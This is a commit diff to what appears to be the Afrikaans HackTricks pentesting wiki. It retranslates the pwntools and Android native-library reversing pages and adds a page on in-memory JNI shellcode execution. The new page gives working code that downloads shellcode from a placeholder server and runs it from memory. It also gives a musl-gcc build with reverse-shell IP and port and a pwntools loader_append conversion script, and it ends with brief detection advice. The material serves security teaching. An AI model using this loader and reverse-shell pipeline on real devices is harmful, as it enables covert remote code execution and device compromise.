Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

2025-10-10 18:36:50 +00:00 · 2025-09-30 02:12:07 +00:00 · 2025-09-30 02:12:07 +00:00 · e14f9d6c27
commit e14f9d6c27
parent 55e5cbb51c
5 changed files with 506 additions and 336 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -353,6 +353,7 @@
    - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
    - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
  - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
  - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
  - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
  - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
@ -6,21 +6,21 @@ pip3 install pwntools
 ```
 ## Pwn asm

-Kry **opcodes** van lyn of lêer.
+Kry **opcodes** vanaf 'n reël of 'n lêer.
 ```
 pwn asm "jmp esp"
 pwn asm -i <filepath>
 ```
 **Kan kies:**

- uitvoer tipe (raw, hex, string, elf)
- uitvoer lêer konteks (16, 32, 64, linux, windows...)
- vermy bytes (nuwe lyne, null, 'n lys)
- kies kodering debug shellcode met gdb om die uitvoer te loop
+- uitsettipe (raw,hex,string,elf)
+- uitsetlêer-konteks (16,32,64,linux,windows...)
+- vermy bytes (new lines, null, a list)
+- kies encoder, debug shellcode met gdb, voer die uitset uit

 ## **Pwn checksec**

-Checksec skrif
+Checksec-skrip
 ```
 pwn checksec <executable>
 ```
@ -35,9 +35,9 @@ pwn cyclic -l faad
 ```
 **Kan kies:**

- Die gebruikte alfabet (kleinletters per standaard)
- Lengte van unieke patroon (standaard 4)
- konteks (16,32,64,linux,windows...)
+- Die gebruikte alfabet (kleinletters standaard)
+- Lengte van uniq pattern (standaard 4)
+- context (16,32,64,linux,windows...)
 - Neem die offset (-l)

 ## Pwn debug
@ -50,19 +50,19 @@ pwn debug --process bash
 ```
 **Kan kies:**

- Deur uitvoerbare lêer, naam of pid-konteks (16,32,64,linux,windows...)
+- Deur executable, deur name of deur pid context (16,32,64,linux,windows...)
 - gdbscript om uit te voer
- sysrootpad
+- sysrootpath

 ## Pwn disablenx

-Deaktiveer nx van 'n binêre
+Skakel nx van 'n binary af
 ```
 pwn disablenx <filepath>
 ```
 ## Pwn disasm

-Disas hex opcodes
+Ontleed hex opcodes
 ```
 pwn disasm ffe4
 ```
@ -74,13 +74,13 @@ pwn disasm ffe4

 ## Pwn elfdiff

-Druk verskille tussen 2 lêers uit
+Wys verskille tussen 2 lêers
 ```
 pwn elfdiff <file1> <file2>
 ```
 ## Pwn hex

-Kry hexadesimale voorstelling
+Kry heksadesimale voorstelling
 ```bash
 pwn hex hola #Get hex of "hola" ascii
 ```
@ -93,8 +93,8 @@ pwn phd <file>
 **Kan kies:**

 - Aantal bytes om te wys
- Aantal bytes per lyn beklemtoon byte
- Skuif bytes aan die begin
+- Aantal bytes per reël highlight byte
+- Slaan bytes aan die begin oor

 ## Pwn pwnstrip

@ -113,25 +113,25 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
 **Kan kies:**

 - shellcode en argumente vir die shellcode
- Uitvoer lêer
+- Uitlêer
 - uitvoerformaat
 - debug (koppel dbg aan shellcode)
- voor (debug val voor kode)
+- before (debug trap before code)
 - na
- vermy die gebruik van opcodes (verstek: nie null en nuwe lyn nie)
+- vermy opcodes (standaard: nie null en new line nie)
 - Voer die shellcode uit
 - Kleur/geen kleur
 - lys syscalls
 - lys moontlike shellcodes
- Genereer ELF as 'n gedeelde biblioteek
+- Genereer 'n ELF as 'n shared library

-## Pwn sjabloon
+## Pwn template

-Kry 'n python sjabloon
+Kry 'n python-sjabloon
 ```
 pwn template
 ```
-**Kan kies:** gasheer, poort, gebruiker, wagwoord, pad en stil
+**Kan kies:** host, port, user, pass, path and quiet

 ## Pwn unhex

@ -145,4 +145,37 @@ Om pwntools op te dateer
 ```
 pwn update
 ```
+## ELF → raw shellcode packaging (loader_append)
+
+Pwntools kan 'n standalone ELF omskakel na 'n enkele raw shellcode‑blob wat sy eie segmente self in kaart bring en uitvoering oordra na die oorspronklike entrypoint. Dit is ideaal vir memory‑only loaders (bv., Android apps wat JNI aanroep om afgelaaide bytes uit te voer).
+
+Typical pipeline (amd64 example)
+
+1) Bou 'n statiese, posisie‑onafhanklike payload ELF (musl aanbeveel vir draagbaarheid):
+```bash
+musl-gcc -O3 -s -static -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+2) Skakel ELF → shellcode met pwntools:
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
+```
+3) Lewer sc aan 'n memory loader (bv. via HTTP[S]) en voer dit in‑proses uit.
+
+Aantekeninge
+- loader_append inkorporeer die oorspronklike ELF-program in die shellcode en genereer 'n klein loader wat die segmentte mmaps en na die entry spring.
+- Wees eksplisiet oor die argitektuur via context.clear(arch=...). arm64 is algemeen op Android.
+- Hou jou payload se kode posisie‑onafhanklik en vermy aannames oor proses ASLR/NX.
+
+## Verwysings
+
+- [Pwntools](https://docs.pwntools.com/en/stable/)
+- [CoRPhone – ELF→shellcode-pipeline wat gebruik word vir Android in-memory uitvoering](https://github.com/0xdevil/corphone)
+
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
--- a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
+++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
@ -0,0 +1,121 @@
+# Android In-Memory Native Code-uitvoering via JNI (shellcode)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer 'n praktiese patroon om native payloads volledig in geheue uit te voer vanaf 'n onbetroubare Android-app-proses met behulp van JNI. Die vloei vermy om enige on-disk native binary te skep: laai rou shellcode-bytes oor HTTP(S) af, stuur dit na 'n JNI-brug, allokeer RX-geheue, en spring daarnaartoe.
+
+Why it matters
+- Verminder forensic artifacts (geen ELF op disk nie)
+- Kompatibel met "stage-2" native payloads gegenereer vanaf 'n ELF exploit binary
+- Stem ooreen met tradecraft wat deur moderne malware en red teams gebruik word
+
+High-level pattern
+1) Fetch shellcode bytes in Java/Kotlin
+2) Call a native method (JNI) with the byte array
+3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
+
+Minimal example
+
+Java/Kotlin side
+```java
+public final class NativeExec {
+static { System.loadLibrary("nativeexec"); }
+public static native int run(byte[] sc);
+}
+
+// Download and execute (simplified)
+byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
+int rc = NativeExec.run(sc);
+```
+C JNI-kant (arm64/amd64)
+```c
+#include <jni.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <unistd.h>
+
+static inline void flush_icache(void *p, size_t len) {
+__builtin___clear_cache((char*)p, (char*)p + len);
+}
+
+JNIEXPORT jint JNICALL
+Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
+jsize len = (*env)->GetArrayLength(env, sc);
+if (len <= 0) return -1;
+
+// RW anonymous buffer
+void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+if (buf == MAP_FAILED) return -2;
+
+jboolean isCopy = 0;
+jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
+if (!bytes) { munmap(buf, len); return -3; }
+
+memcpy(buf, bytes, len);
+(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
+
+// Make RX and execute
+if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
+flush_icache(buf, len);
+
+int (*entry)(void) = (int (*)(void))buf;
+int ret = entry();
+
+// Optional: restore RW and wipe
+mprotect(buf, len, PROT_READ | PROT_WRITE);
+memset(buf, 0, len);
+munmap(buf, len);
+return ret;
+}
+```
+Aantekeninge en kanttekeninge
+- W^X/execmem: Moderne Android dwing W^X af; anonymous PROT_EXEC mappings is steeds oor die algemeen toegelaat vir app-prosesse met JIT (onderhewig aan SELinux-beleid). Sommige toestelle/ROMs beperk dit; val terug op JIT-allocated exec pools of native bridges wanneer nodig.
+- Argitekture: Verseker dat die shellcode-argitektuur met die toestel ooreenstem (arm64-v8a algemeen; x86 slegs op emulators).
+- Entrypunt-kontrak: Bepaal 'n konvensie vir jou shellcode-entry (geen args vs struktuurpointer). Hou dit posisie-onafhanklik (PIC).
+- Stabiliteit: Maak die instruksie-cache skoon voordat jy spring; ongelyke cache kan op ARM laat crash.
+
+Packaging ELF → position‑independent shellcode
+'n Robuuste operator-pyplyn is om:
+- Bou jou exploit as 'n statiese ELF met musl-gcc
+- Skakel die ELF om na 'n self‑loading shellcode blob met behulp van pwntools’ shellcraft.loader_append
+
+Bou
+```bash
+musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+Skakel ELF na raw shellcode (amd64 voorbeeld)
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+loader = shellcraft.loader_append(elf.data, arch='amd64')
+sc = asm(loader)
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
+```
+Waarom loader_append works: dit emiteer 'n klein loader wat die ingebedde ELF programsegmente in geheue map en beheer oordra na sy entrypoint, wat jou 'n enkele raw blob gee wat memcpy’ed kan word en deur die app uitgevoer kan word.
+
+Delivery
+- Host sc on an HTTP(S) server you control
+- The backdoored/test app downloads sc and invokes the JNI bridge shown above
+- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
+
+Validation workflow for kernel payloads
+- Use a symbolized vmlinux for fast reversing/offset recovery
+- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
+
+Hardening/Detection (blue team)
+- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
+- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
+- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
+
+References
+- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
+- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
+- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
+- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
+- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
@ -1,18 +1,18 @@
-# Omkeerontleding van native biblioteke
+# Omgekeerde ingenieurswese van inheemse biblioteke

 {{#include ../../banners/hacktricks-training.md}}


-**Vir meer inligting kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
+**Vir verdere inligting, kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)

-Android-apps kan native biblioteke gebruik, tipies geskryf in C of C++, vir prestasie-kritiese take. Malware-makers misbruik hierdie biblioteke ook, omdat ELF shared objects steeds moeiliker te dekompileer is as DEX/OAT byte-code.
-Hierdie bladsy fokus op *praktiese* werkvloeie en *onlangse* hulpmiddelverbeterings (2023-2025) wat die omkeerontleding van Android `.so`-lêers vergemaklik.
+Android-apps kan inheemse biblioteke gebruik, gewoonlik geskryf in C of C++, vir prestasie-kritiese take. Malware-skepper misbruik ook hierdie biblioteke omdat ELF shared objects steeds moeiliker is om te dekompileer as DEX/OAT byte-code.
+Hierdie blad fokus op *praktykgebaseerde* werkvloei en *onlangse* gereedskapverbeterings (2023-2025) wat die reversing van Android `.so`-lêers makliker maak.

 ---

 ### Vinnige triage-werkvloei vir 'n pas onttrekte `libfoo.so`

-1. **Ekstraheer die biblioteek**
+1. **Onttrek die biblioteek**
 ```bash
 # From an installed application
 adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
@ -25,26 +25,26 @@ file libfoo.so        # arm64 or arm32 / x86
 readelf -h libfoo.so  # OS ABI, PIE, NX, RELRO, etc.
 checksec --file libfoo.so  # (peda/pwntools)
 ```
-3. **Lys geëksporteerde simbole & JNI-bindinge**
+3. **Lys uitgevoerde simbole & JNI-koppellings**
 ```bash
 readelf -s libfoo.so | grep ' Java_'     # dynamic-linked JNI
 strings libfoo.so   | grep -i "RegisterNatives" -n   # static-registered JNI
 ```
-4. **Laai in 'n dekompileerder** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
-Nuweer Ghidra-weergawes het 'n AArch64-dekompileerder bekendgestel wat PAC/BTI-stubs en MTE-tags herken, wat die ontleding van biblioteke wat met die Android 14 NDK gebou is, aansienlik verbeter.
-5. **Besluit oor statiese vs dinamiese omkeerontleding:** gestrippte, obfuskede kode benodig dikwels *instrumentasie* (Frida, ptrace/gdbserver, LLDB).
+4. **Laai in 'n dekompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) en voer outo-analise uit.
+Nuweer Ghidra-weergawes het 'n AArch64-dekompiler ingestel wat PAC/BTI-stubs en MTE-tags herken, wat die analise van biblioteke gebou met die Android 14 NDK baie verbeter.
+5. **Besluit staties vs dinamies reverse:** gestrippe, obfuskeer kode benodig dikwels *instrumentation* (Frida, ptrace/gdbserver, LLDB).

 ---

-### Dinamiese instrumentasie (Frida ≥ 16)
+### Dynamiese Instrumentasie (Frida ≥ 16)

-Frida se 16-reeks het verskeie Android-spesifieke verbeterings gebring wat help wanneer die teiken moderne Clang/LLD-optimalisasies gebruik:
+Frida’s 16-reeks het verskeie Android-spesifieke verbeterings gebring wat help wanneer die teiken moderne Clang/LLD optimisasies gebruik:

-* `thumb-relocator` kan nou *hook tiny ARM/Thumb functions* wat deur LLD se aggressiewe uitlynings (`--icf=all`) gegenereer word.
-* Die enumerering en herbinding van *ELF import slots* werk op Android, en maak per-module `dlopen()`/`dlsym()`-patching moontlik wanneer inline hooks verwerp word.
+* `thumb-relocator` kan nou *hook klein ARM/Thumb-funksies* wat deur LLD se aggressiewe uitlyning gegenereer is (`--icf=all`).
+* Enumerering en herbinding van *ELF import slots* werk op Android, wat per-module `dlopen()`/`dlsym()` patching moontlik maak wanneer inline hooks verwerp word.
 * Java hooking is reggestel vir die nuwe **ART quick-entrypoint** wat gebruik word wanneer apps saamgestel is met `--enable-optimizations` op Android 14.

-Voorbeeld: enumereer alle funksies wat geregistreer is via `RegisterNatives` en dump hul adresse tydens runtime:
+Voorbeeld: enumerering van alle funksies geregistreer deur `RegisterNatives` en die uitgooi van hul adresse by runtime:
 ```javascript
 Java.perform(function () {
 var Runtime = Java.use('java.lang.Runtime');
@ -61,27 +61,27 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
 });
 });
 ```
-Frida sal reguit uit die boks werk op PAC/BTI-enabled toestelle (Pixel 8/Android 14+) solank jy frida-server 16.2 of later gebruik – vroeër weergawes het misluk om padding vir inline hooks te vind.
+Frida sal sonder ekstra konfigurasie werk op PAC/BTI-enabled toestelle (Pixel 8/Android 14+) solank jy frida-server 16.2 of later gebruik – vroeër weergawes het nie padding vir inline hooks kon lokaliseer nie.

 ### Process-local JNI telemetry via preloaded .so (SoTap)

-Wanneer vol-funksionele instrumentation oorkill of geblokkeer is, kan jy steeds native-vlak sigbaarheid kry deur 'n klein logger binne die teikenproses voor te laai. SoTap is 'n liggewig Android native (.so) library wat die runtime-gedrag van ander JNI (.so) libraries binne dieselfde app-proses log (no root required).
+Wanneer vol-funksionele instrumentation oordrewe of geblokkeer is, kan jy steeds native-vlak sigbaarheid kry deur 'n klein logger vooraf in die teikenproses te laai. SoTap is 'n liggewig Android native (.so) biblioteek wat die runtime-gedrag van ander JNI (.so) biblioteke binne dieselfde app-proses log (geen root benodig).

 Belangrike eienskappe:
 - Initialiseer vroeg en monitor JNI/native-interaksies binne die proses wat dit laai.
- Behou logs deur verskeie skryfbare paaie te gebruik met 'n elegante terugval na Logcat wanneer stoorplek beperk is.
- Bron-aanpasbaar: redigeer sotap.c om te uitbrei/aan te pas wat aangeteken word en bou weer per ABI.
+- Stoor logs deur verskeie skryfbare paaie te gebruik, met 'n elegante terugval na Logcat wanneer stoorruimte beperk is.
+- Bron-aanpasbaar: wysig sotap.c om uit te brei/aan te pas wat aangeteken word en herbou per ABI.

 Opstelling (herpak die APK):
-1) Plaas die korrekte ABI-bou in die APK sodat die loader libsotap.so kan oplos:
+1) Plaas die toepaslike ABI build in die APK sodat die laaier libsotap.so kan oplos:
 - lib/arm64-v8a/libsotap.so (for arm64)
 - lib/armeabi-v7a/libsotap.so (for arm32)
-2) Verseker SoTap laai voordat ander JNI libs. Injiseer 'n oproep vroeg (bv. Application subclass static initializer of onCreate) sodat die logger eers geïnitialiseer word. Smali snippet example:
+2) Verseker dat SoTap laai voordat ander JNI libs laai. Injekteer 'n oproep vroeg (bv. Application subclass static initializer of onCreate) sodat die logger eerstens geïnitialiseer word. Smali snippet example:
 ```smali
 const-string v0, "sotap"
 invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
 ```
-3) Rebuild/sign/install, run the app, then collect logs.
+3) Herbou/handteken/installeer, maak die app oop, en versamel dan logs.

 Log paths (checked in order):
 ```
@ -91,46 +91,57 @@ Log paths (checked in order):
 /sdcard/Download/sotap-%s.log
 # If all fail: fallback to Logcat only
 ```
-Aantekeninge en foutopsporing:
- ABI-belyning is verpligtend. 'n Ongelykheid sal UnsatisfiedLinkError veroorsaak en die logger sal nie laai nie.
- Stoorbeperkings is algemeen op moderne Android; as lêerskryf misluk, sal SoTap steeds via Logcat uitstuur.
- Gedrag/verbositeit is bedoel om aangepas te word; herbou vanaf bron nadat jy sotap.c gewysig het.
+Notes en probleemoplossing:
+- ABI-belyning is verpligtend. 'n Ongelykheid (mismatch) sal 'n UnsatisfiedLinkError veroorsaak en die logger sal nie laai nie.
+- Bergingbeperkings is algemeen op moderne Android; as lêerskryf misluk, sal SoTap steeds via Logcat uitset lewer.
+- Gedrag/uitvoerigheid is bedoel om aangepas te word; herbou vanaf die bron nadat jy sotap.c gewysig het.

-Hierdie benadering is handig vir malware-triage en JNI-debogering waar dit kritiek is om native-aanroepvloei vanaf prosesbegin waar te neem, maar root-/stelselwye hooks nie beskikbaar is nie.
+Hierdie benadering is nuttig vir malware-triage en JNI-debugging waar dit kritiek is om native oproepvloei vanaf die prosesbegin te observeer, maar root/sisteemwye hooks nie beskikbaar is nie.
+
+---
+
+### Sien ook: in‑memory native code execution via JNI
+
+'n Algemene aanvalspatroon is om 'n rou shellcode-blob tydens runtime af te laai en dit direk uit geheue deur 'n JNI-brug uit te voer (geen on‑disk ELF). Details en gereed-vir-gebruik JNI-snippet hier:
+
+{{#ref}}
+in-memory-jni-shellcode-execution.md
+{{#endref}}

 ---

 ### Onlangse kwesbaarhede wat die moeite werd is om in APKs te soek

-| Year | CVE | Affected library | Notes |
-|------|-----|------------------|-------|
-|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow bereikbaar vanaf native-kode wat WebP-beelde dekodeer. Verskeie Android-apps bevat kwesbare weergawes. Wanneer jy 'n `libwebp.so` in 'n APK sien, kontroleer sy weergawe en probeer eksploiteer of patcheer.| |
-|2024|Multiple|OpenSSL 3.x series|Verskeie geheue-veiligheids- en padding-orakelprobleme. Baie Flutter- & ReactNative-bundels sluit hul eie `libcrypto.so` in.|
+| Jaar | CVE | Geaffekteerde biblioteek | Notas |
+|------|-----|--------------------------|-------|
+|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow bereikbaar vanaf native kode wat WebP-beelde dekodeer. Verskeie Android-apps pak kwesbare weergawes in. Wanneer jy 'n `libwebp.so` binne 'n APK sien, kontroleer die weergawe en probeer eksploitasie of pleistering.| |
+|2024|Multiple|OpenSSL 3.x series|Verskeie geheue-veiligheid- en padding-oracle-kwessies. Baie Flutter- & ReactNative-bundels lewer hul eie `libcrypto.so`.|

-Wanneer jy *derdepartye* `.so`-lêers in 'n APK raaksien, kruischeck altyd hul hash teen upstream advisories. SCA (Software Composition Analysis) is skaars op mobiele platforms, dus is verouderde kwesbare bouwe algemeen.
+Wanneer jy *third-party* `.so`-lêers binne 'n APK raak, kruisverifieer altyd hul hash teen upstream advisories. SCA (Software Composition Analysis) is ongereeld op mobiele toestelle, dus is verouderde kwesbare builds volop.

 ---

-### Anti-Reversing & Hardening trends (Android 13-15)
+### Anti-Reversing & Hardening-neigings (Android 13–15)

-* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiveer PAC/BTI in stelselbiblioteke op ondersteunde ARMv8.3+ silicon. Decompilers vertoon nou PAC‐verwante pseudo-instruksies; vir dinamiese analise spuit Frida trampolines in ná die verwydering van PAC, maar jou pasgemaakte trampolines moet `pacda`/`autibsp` aanroep waar nodig.
-* **MTE & Scudo hardened allocator:** memory-tagging is opsioneel maar baie Play-Integrity-bewuste apps bou met `-fsanitize=memtag`; gebruik `setprop arm64.memtag.dump 1` plus `adb shell am start ...` om tag-foute vas te vang.
-* **LLVM Obfuscator (opaque predicates, control-flow flattening):** kommersiële packers (bv. Bangcle, SecNeo) beskerm toenemend *native* kode, nie net Java nie; verwag valse control-flow en enkripsie string-blobs in `.rodata`.
+* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiveer PAC/BTI in stelselbiblioteke op ondersteunde ARMv8.3+ silikon. Decompilers vertoon nou PAC-verwante pseudo-instruksies; vir dinamiese analise injekteer Frida trampoliene ná die verwydering van PAC, maar jou eie trampoliene behoort `pacda`/`autibsp` aan te roep waar nodig.
+* **MTE & Scudo hardened allocator:** Memory-tagging is opsioneel maar baie Play-Integrity-bewuste apps bou met `-fsanitize=memtag`; gebruik `setprop arm64.memtag.dump 1` plus `adb shell am start ...` om tag-foute vas te vang.
+* **LLVM Obfuscator (opaque predicates, control-flow flattening):** Kommersiële packers (bv. Bangcle, SecNeo) beskerm toenemend *native* kode, nie net Java nie; verwag vals control-flow en enkripteerde string-blobs in `.rodata`.

 ---

-### Resources
+### Hulpbronne

 - **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
 - **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
 - **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)

-### References
+### Verwysings

 - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
- NVD-advies vir `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Lightweight in-app JNI (.so) gedragslogger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap-vrystellings – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- Hoe om met SoTap te werk? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
+- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
+- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
+- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)

 {{#include ../../banners/hacktricks-training.md}}